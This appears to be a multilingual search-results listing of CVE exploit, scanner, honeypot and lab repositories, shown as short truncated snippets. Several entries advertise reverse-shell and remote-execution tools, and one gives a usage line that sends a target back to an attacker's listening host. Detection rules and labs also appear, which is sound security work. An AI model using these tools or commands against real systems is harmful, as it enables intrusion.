273640 matches found
cve-2023-46604
Apache ActiveMQ CVE-2023-46604 CVE-2023-46604 是一个广泛被利用的漏洞，出现在 CISA 的 KEV 列表中。该 Go 语言实现的利用工具可以通过 Nashorn 有效载荷在目标上执行反向 shell，或者下载二进制文件到目标并执行。 编译 将利用工具构建到一个 Docker 镜像中，只需： root@kitploit: make docker 如果你手头有 Go 编译环境，也可以直接使用 make： root@kitploit: albinolobster@mournland:/cve-2023-46604$ make gofmt -d -w...
CVE-2023-43208-PoC
Mirth Connect RCE 利用工具 CVE-2023-43208 此脚本是针对 Mirth Connect （4.4.1 之前版本）中远程代码执行（RCE）漏洞的概念验证（PoC）。它通过 API 利用 XStream 反序列化漏洞。 要求 Python 3.10 或更高版本（兼容 3.13）。 与目标的网络连接。 工具使用 root@kitploit: python3 CVE-2023-43208.py -u https://IP-victima -lh IP-atacante -lp puerto 安装 建议使用虚拟环境： root@kitploit: python3 -m...
CVE-2021-44228
Overview This repository contains OpenIOC rules to facilitate hunting for indicators of compromise related to the Apache Log4j 2 remote code execution vulnerability CVE-2021-44228. These rules are considered hunting rules and as such detection efficacy will vary by organization. With...
CVE-2026-44825-Apache-Solr-Scanner
CVE-2026-44825 Escáner de Apache Solr Este repositorio contiene un escáner basado en Go para detectar y probar instancias de Apache Solr que puedan estar afectadas por CVE-2026-44825, relacionado con condiciones de Ejecución Remota de Código RCE mediante Velocity Template. La herramienta puede...
CVE-2026-20180
Cisco ISE RCE: 高度な悪用分析と修復 📋 目次 1. エグゼクティブサマリー 2. 攻撃対象領域の分析 3. 悪用ベクトル 4. 高度な回避技術 5. ゼロトラストアーキテクチャへのシステム的影響 6. 修復戦略 7. フォレンジック調査 8. 参考文献 🎯 エグゼクティブサマリー Cisco Identity Services Engine ISE...
CVE-2019-19781
CVE-2019-19781 Ejecución Remota de Código en Citrix ADC uso de python: python CVE-2019-19781.py http://192.168.3.244 0x01 descargar NSVPX-ESX-13.0-47.22nc64.zip https://www.citrix.com/downloads/citrix-gateway/...
CVE-2020-0796
CVE-2020-0796 개요: Windows 10/Server 1903 버전부터 SMBv3에 추가된 compression 기능에는 Microsoft가 2020년 3월 12일에 확인한 integer overflow 취약점이 존재합니다. 이 취약점으로 공격자는 Local Privilege EscalationLPE 및 Remote Code ExecutionRCE을 수행할 수 있습니다. 여기서는 LPE 취약점에 대해서만 다룹니다. 영향을 받는 버전 : Windows 10 Version 1903 for 32-bit Systems...
CVE-2023-41892
CVE-2023-41892 - Craft CMS 远程代码执行（RCE） referensi: https://github.com/advisories/GHSA-4w8r-3xrw-v25g https://securityonline.info/craft-cms-fixes-rce-cve-2023-41892-flaw-rated-10-out-of-10-on-severity-scale/ https://blog.calif.io/p/craftcms-rce...
CVE-2024-25641
CVE-2024-25641 root@kitploit: Exploit Title: Cacti 1.2.26 - RCE Authenticated Date: 06/01/2025 Exploit Author: D3Ext Vendor Homepage: https://cacti.net/ Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip Version: 1.2.26 Tested on: Kali Linux 2024 CVE: CVE-2024-2564...
cve-2020-0618
Honeypot CVE-2020-0618 Detecta y registra intentos de explotar CVE-020-0618 RCE en SQL Reporting Services Sirve contenido y cabeceras como lo haría SSRS, para aumentar las posibilidades de indexación en motores de búsqueda ej. google, shodan, etc. Basado en el gran trabajo de MDSec y x1sec...
log4shell_1.x
Log4jShell1.x Log4j RCE 1.x Poc Ataque Restricción 1. El objetivo tiene entorno jms 2. Necesitas obtener acceso para modificar el archivo log4j.properties Conclusión No es tan útil como log4shell 2.x Tema de Log4shell https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j Bienvenido a...
log4shell
Log4Shell このプロジェクトは、log4shell セキュリティ脆弱性の動作を実演するためのものです。 この脆弱性は CVE-2021-44228 に記載されています。 このプロジェクトは教育目的のみを対象としています。 ご自身のシステム上でのみ、実験目的に限って使用してください。 実行はすべて自己責任で行ってください。 作者は、本プロジェクトの実行によって生じたいかなる事故についても責任を負いません。 コマンド例 root@kitploit: ldapserver=i-09cd4f41e5a2b1d66.eu-west-3.compute.internal:1389 hello...
CVE-2026-3854-lab
Flagship Lab 001: Git 푸시 옵션에서 RCE까지 공개적으로 문서화된 CVE-2026-3854의 취약점 개념에서 영감을 받은 로컬 Learning Lab 및 Research Lab입니다. 두 경험 모두 가상의 Git 서버인 ForgeDock을 대상으로 실제 인증된 Git 푸시를 사용합니다; Research Lab입니다. !CAUTION 이 프로젝트는 의도적으로 취약하게 만들어졌습니다. 로컬에서만 실행하세요. 해당 포트를 공용 또는 공유 네트워크에 노출하지 마세요. 프로덕션 용도로 사용하지 마세요. !NOTE 이...
CVE-2025-31324
정보 ░█▄█░█▀█░█░█░█░█░█░█░▀█▀░█▀█░█▀█░█▀▄░█░█ ░█░█░█▀▀░█░█░█░█░█▄█░░█░░█░█░█░█░█▀▄░░█░ ░▀░▀░▀░░░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀░▀░▀░▀░▀░▀░░▀░ N U L L T R A C E // NullTrace :: 로그 없음. 노이즈 없음. 오직 신호만. // ----- 서명----- 키: ssh-rsa AAAAB3...NullKey...KFA== 지문: 88:11:00:BE:HM:00:82:NULL:TR:ACE 좌우명: "프라이버시는 범죄가 아니다. 침묵...
vaas-cve-2014-6271
Vulnerability as a Service - CVE 2014-6271 A Debian Buster Linux system with a vulnerable version of bash and a web application to showcase CVS-2014-6271, a.k.a. Shellshock. Overview This docker container is based on Debian Buster and has been modified to use a vulernable version of Bash...
CVE-2026-0006-openapv-poc
CVE-2026-0006：libopenapv 中的堆缓冲区溢出（Android APV 编解码器） 补丁分析与复现 — Mobile Hacking Lab CVSS 9.8 严重 | 已在野外被积极利用 | 2026 年 3 月已修复 注意： 我们并非此漏洞的发现者。发现并负责任地报告 CVE-2026-0006 的功劳归功于原始研究人员。本仓库包含我们独立的补丁分析、复现及教学性文章 ，旨在帮助安全社区理解相关漏洞类别及所涉及的利用技术。 概述 CVE-2026-0006 是 libopenapv 中的一个堆缓冲区溢出漏洞，该库是三星开源的 APV（Advanced...
cve-2017-9805.py
CVE-2017-9805.py 1. Mejor código de explotación para CVE-2017-9805 Apache Struts 2. Debería ser casi a prueba de errores ¿Por qué recodificar? Encontré que la mayoría del código de explotación en línea simplemente usaba concatenación de cadenas para insertar comandos proporcionados por el usuario...
CVE-2024-46986
CVE-2024-46986 Camaleon CMS 익스플로잇 - 임의 파일 업로드 이 저장소에는 Camaleon CMS의 파일 업로드 취약점 악용을 자동화하는 Python 스크립트가 포함되어 있습니다. 이 취약점으로 인해 공격자는 서버에 임의 파일예: Ruby 스크립트을 업로드할 수 있으며, 잠재적으로 원격 코드 실행RCE 또는 기타 심각한 보안 영향으로 이어질 수 있습니다. 기능 파일 업로드 익스플로잇 : 대상 서버에 악성 Ruby 스크립트를 업로드합니다. 페이로드 옵션 : 리버스 셸 페이로드와 명령 실행 페이로드 중에서...